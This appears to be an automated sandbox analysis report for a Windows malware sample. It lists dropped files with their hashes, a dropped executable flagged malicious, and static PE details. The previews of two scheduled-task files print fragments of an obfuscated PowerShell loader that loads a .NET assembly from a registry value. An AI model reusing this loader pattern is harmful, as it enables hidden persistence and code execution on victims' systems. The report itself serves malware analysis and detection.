SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apmnnr5c.x0r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cgt002zm.nfj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jobetvuk.nas.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lq34u4z4.thm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mmr1ttpg.hxe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_se11r4w3.441.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2noievz.wpa.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xjo4khfi.cpm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\GoogleUpdate.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	154456
Entropy (8bit):	5.948865342404173
Encrypted:	false
SSDEEP:	3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5:	9A66A3DE2589F7108426AF37AB7F6B41
SHA1:	12950D906FF703F3A1E0BD973FCA2B433E5AB207
SHA-256:	A913415626433D5D0F07D3EC4084A67FF6F5138C3C3F64E36DD0C1AE4C423C65
SHA-512:	A4E81BFFBFA4D3987A8C10CEC5673FD0C8AECBB96104253731BFCAB645090E631786FF7BDE78607CBB2D242EE62051D41658059FCBBC4990C40DBB0FEC66FCD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....cg.}....ce......cd.o......f......e......^....cy.z...w...........v.....i.v...w...M.......v...Richw...........................PE..L.....u`............................Bt.......0....@..........................`......g.....@.................................LQ..x....`..P............&..X5...P.......[..T............................[..@............P..H............................text...T........................... ..`.data........0......."..............@....idata.......P.......*..............@..@.rsrc...P....`.......4..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	17904
Entropy (8bit):	5.440180228785624
Encrypted:	false
SSDEEP:	384:VteJGhuX709y1/pISVZB2YAaSrCQTnfcy2D+Yb:9kYM+Uf2YjSrCQL4b
MD5:	F22EE376C2EFCC53A8EDFE408AF1B935
SHA1:	C48EBB029F9EF43BCDE44A7C8E644897B79588D6
SHA-256:	13D54751696790991322790F739D54521B802D32674D20EBF89DDBFB7B2F3D99
SHA-512:	A16DC0427B183F094F6E636A14DCBB85B67967A6C29A5E91EC9FF08D39A3208D8A69D82B0E5F57B300551F7B659F29B2C58B8F4A1223C621E97B3E15D0FDA04D
Malicious:	false
Preview:	@...e...........0...............................................H...............<@.^.L."My...:'..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.............System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11606
Entropy (8bit):	4.8910535897909355
Encrypted:	false
SSDEEP:	192:Dxoe5IpObxoe5lib4LVsm5emdYVFn3eGOVpN6K3bkkjo5UgkjDt4iWN3yBGHc9so:Wwib4LEVoGIpN6KQkj2jkjh4iUxm44Q2
MD5:	7A57D8959BFD0B97B364F902ACD60F90
SHA1:	7033B83A6B8A6C05158BC2AD220D70F3E6F74C8F
SHA-256:	47B441C2714A78F9CFDCB7E85A4DE77042B19A8C4FA561F435471B474B57A4C2
SHA-512:	83D8717841E22BB5CB2E0924E5162CF5F51643DFBE9EE88F524E7A81B8A4B2F770ED7BFE4355866AFB106C499AB7CD210FA3642B0424813EB03BB68715E650CC
Malicious:	false
Preview:	PSMODULECACHE.............S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........Y.....C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	5.32663523701808
Encrypted:	false
SSDEEP:	24:3vjPpQrLAo4KAxCoOu426Ze9t4CvKM5qRPOKnKJRSF8PwqfvgU:LPerB4BOu/Ee9t4CvpqR24aR48LgU
MD5:	38BFE8EF5D404044B69DE93BEA46B25C
SHA1:	45A59FED51C0B018E629055798118CE3D1A1E6A1
SHA-256:	428744A31091EB280893E9286C6D5C1BC66263AABFFDDB645C3DC37EB8991F98
SHA-512:	FD2C96AEEA83AFECAC01A7362C10448F1A722CB524FB6B057809EEB15326CD6344F7D51777FD3DDF530E0DCD7E957F9A25B9A08AA3B413D00AA105DD85D50B75
Malicious:	false
Preview:	@...e...........................................................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.Automation4...............T..'Z..N..Nvj.G.........System.Data.4................Zg5..:O..g..q..........System.Xml..<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServicesH................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.P................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\Tasks\dialersvc32.job

Download File

Process:	C:\Windows\System32\dialer.exe
File Type:	data
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	3.740539929866614
Encrypted:	false
SSDEEP:	24:U8zK5tG3HPnyff86avRYYKaHYb6sCbaHKBlcwPN0+sviH:Uu/6ahTGC2rg
MD5:	4F5F8766626F520BD962CA9669715CD6
SHA1:	89438036599C26BFEF8356FE88D552B6CD599AC8
SHA-256:	8A26D55C8B5882DC0659D4DFF1AB998964A4070642D7934C3B88F2C8C96F2508
SHA-512:	544914B57A046221496A910D2AA83FEC591451D36F582C540A4AABD556872B82EC10E4E5BF6962A79EB258ED4A40B10A2633ABFE14A61F642883C3AB6EA72852
Malicious:	false
Preview:	......]./g]N..\|-..3.F.N.....<... .....s.................................p.o.w.e.r.s.h.e.l.l...-."...(.\.".{.1.}.{.0.}.\.". .-.f. .'.e.T.'.,.'.S.'.). . .(.\.".6.T.\.".+.\.".o.\.".). . .(.[.t.Y.p.E.].(.\.".{.2.}.{.0.}.{.4.}.{.1.}.{.3.}.\.". .-.F.'.e.'.,.'.m.B.L.'.,.'.r.e.f.l.'.,.'.y.'.,.'.c.t.i.O.n...A.s.S.e.'.). . .). . .;. .$.D.l.r.4.S. .=. . .[.t.y.P.e.].(.\.".{.3.}.{.1.}.{.2.}.{.4.}.{.0.}.\.".-.F.'.R.y.'.,.'.o.S.O.f.T...W.'.,.'.i.N.3.2...R.'.,.'.M.I.C.R.'.,.'.e.G.i.S.T.'.). . .;. . .$.6.T.O.:.:.(.\.".{.0.}.{.1.}.\.". .-.f. .'.L.'.,.'.o.a.d.'.)...I.n.v.o.k.e.(. . .(...(.\.".{.1.}.{.2.}.{.0.}.\.". .-.f. .'.t.-.I.t.e.m.'.,.'.g.'.,.'.e.'.). .(.\.".v.A.R.I.\.".+.\.".A.b.\.".+.\.".l.E.\.".+.\.".:.D.l.R.4.S.\.".). . .)...\.".V.A.`.l.u.E.\.".:.:.\.".l.O.c.`.A.L.M.`.A.C.h.i.n.e.\."...(.\.".{.2.}.{.1.}.{.0.}.\.". .-.f. .'.e.y.'.,.'.u.b.k.'.,.'.O.p.e.n.S.'.)...I.n.v.o.k.e.(.(.\.".{.1.}.{.0.}.\.".-.f.'.E.'.,.'.S.O.F.T.W.A.R.'.).)...(.\.".{.1.}.{.0.}.{.2.}.\.". .-.f.'.u.'.,.'.G.e.t.V.a.l.'.,.'.e.

C:\Windows\Tasks\dialersvc64.job

Download File

Process:	C:\Windows\System32\dialer.exe
File Type:	data
Category:	dropped
Size (bytes):	1322
Entropy (8bit):	3.7095604282103833
Encrypted:	false
SSDEEP:	24:plw8zK5tG3HPnyff86avRYYKaHYb6sCbaHKBlcwPN7H:pqu/6ahTGCZ
MD5:	5A7AEDE729EABE69AD49FB786C8A5111
SHA1:	7B16B88D4C9AA56E39C41FD2E43FEDCE7A56B865
SHA-256:	2B030E89286BACD519F6186DDC59D1B2445DDE3D13FA570595CFA8EA7505840A
SHA-512:	9DCC987986C3AACB25C5DBDF64F7A7810083B3125BE861729151EAA6F0652671018EC60BCE02B9582CBED674071E0712466CE917A9BD371CB4B5D1B12E71B161
Malicious:	false
Preview:	....j..^..`B....>.oIF.......<... .....s.................................p.o.w.e.r.s.h.e.l.l...-."...(.\.".{.1.}.{.0.}.\.". .-.f. .'.e.T.'.,.'.S.'.). . .(.\.".6.T.\.".+.\.".o.\.".). . .(.[.t.Y.p.E.].(.\.".{.2.}.{.0.}.{.4.}.{.1.}.{.3.}.\.". .-.F.'.e.'.,.'.m.B.L.'.,.'.r.e.f.l.'.,.'.y.'.,.'.c.t.i.O.n...A.s.S.e.'.). . .). . .;. .$.D.l.r.4.S. .=. . .[.t.y.P.e.].(.\.".{.3.}.{.1.}.{.2.}.{.4.}.{.0.}.\.".-.F.'.R.y.'.,.'.o.S.O.f.T...W.'.,.'.i.N.3.2...R.'.,.'.M.I.C.R.'.,.'.e.G.i.S.T.'.). . .;. . .$.6.T.O.:.:.(.\.".{.0.}.{.1.}.\.". .-.f. .'.L.'.,.'.o.a.d.'.)...I.n.v.o.k.e.(. . .(...(.\.".{.1.}.{.2.}.{.0.}.\.". .-.f. .'.t.-.I.t.e.m.'.,.'.g.'.,.'.e.'.). .(.\.".v.A.R.I.\.".+.\.".A.b.\.".+.\.".l.E.\.".+.\.".:.D.l.R.4.S.\.".). . .)...\.".V.A.`.l.u.E.\.".:.:.\.".l.O.c.`.A.L.M.`.A.C.h.i.n.e.\."...(.\.".{.2.}.{.1.}.{.0.}.\.". .-.f. .'.e.y.'.,.'.u.b.k.'.,.'.O.p.e.n.S.'.)...I.n.v.o.k.e.(.(.\.".{.1.}.{.0.}.\.".-.f.'.E.'.,.'.S.O.F.T.W.A.R.'.).)...(.\.".{.1.}.{.0.}.{.2.}.\.". .-.f.'.u.'.,.'.G.e.t.V.a.l.'.,.'.e.

C:\Windows\Temp\__PSScriptPolicyTest_2qkjrhaz.req.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_3oxtdbp2.uic.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_eioqgznb.xpz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_feomezpe.1iu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_mz1jgt0x.efy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_oepocl4c.okt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.9499437351683
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FKN6uh7y01.exe
File size:	302080
MD5:	3923f1a139494556ee41dde9b70acc67
SHA1:	19a3cf53a31c4f37c24c771264504e66d1be1193
SHA256:	dc0d7e5dcd6f5cc175ab3d6173220fb483570c8b1b81cc2ab68c95407368240e
SHA512:	5bba374b5a6d8200c1d0753cf4a97339bf7261cba53925ce194a31334b559dd0d46c1d9daaf920695ff144f7704b7e3bfc31ff656718f2904b491dfaa4742557
SSDEEP:	6144:pz5vw7NJFZBo20p9p3lcmkI7qG4ILzRiy8GEPZjmKsgA5oSsxHE:pzefFZB09VF7qG4I8y8GEPZjmngA5oSM
TLSH:	F3549E367252CB3DE8A7D8794EE9C270773C62343FB810D35B8C4A2D5520EEEA53951A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b..#&b.p&b.p&b.p803p2b.p/.5p$b.p80"p.b.p80%p]b.p...p.b.p.m.p%b.p&b.p.b.p/."p'b.p802p'b.p/.7p'b.pRich&b.p........PE..L...h.yc...

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x40f79d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6379EC68 [Sun Nov 20 08:59:20 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	36b641a29d896f854254088d7a23d111

Entrypoint Preview

Instruction
call 00007FDFB5001A92h
jmp 00007FDFB4FFA7E9h
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edx, dword ptr [esp+0Ch]
mov ecx, dword ptr [esp+04h]
test edx, edx
je 00007FDFB4FFA9ABh
xor eax, eax
mov al, byte ptr [esp+08h]
test al, al
jne 00007FDFB4FFA958h
cmp edx, 00000100h
jc 00007FDFB4FFA950h
cmp dword ptr [0044B6ECh], 00000000h
je 00007FDFB4FFA947h
jmp 00007FDFB5001B45h
push edi
mov edi, ecx
cmp edx, 04h
jc 00007FDFB4FFA973h
neg ecx
and ecx, 03h
je 00007FDFB4FFA94Eh
sub edx, ecx
mov byte ptr [edi], al
add edi, 01h
sub ecx, 01h
jne 00007FDFB4FFA938h
mov ecx, eax
shl eax, 08h
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 03h
shr ecx, 02h
je 00007FDFB4FFA948h
rep stosd
test edx, edx
je 00007FDFB4FFA94Ch
mov byte ptr [edi], al
add edi, 01h
sub edx, 01h
jne 00007FDFB4FFA938h
mov eax, dword ptr [esp+08h]
pop edi
ret
mov eax, dword ptr [esp+04h]
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov dword ptr [0044AC58h], eax
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov eax, dword ptr [00449B78h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
and dword ptr [ebp-00000328h], 00000000h
push ebx
push 0000004Ch
lea eax, dword ptr [ebp-00000324h]
push 00000000h
push eax
call 00007FDFB5FFA88Fh

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[IMP] VS2008 SP1 build 30729
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25574	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x628	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20000	0x374	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1eab1	0x1ec00	False	0.5092813135162602	data	6.630331383132366	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x20000	0x68aa	0x6a00	False	0.46587558962264153	data	5.877539999556081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x25848	0x23a00	False	0.5274328399122807	data	6.50846664625005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x628	0x800	False	0.3583984375	data	3.2789264189533625	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x4d200	0x428	data	English	United States
RT_MANIFEST	0x4d0a0	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
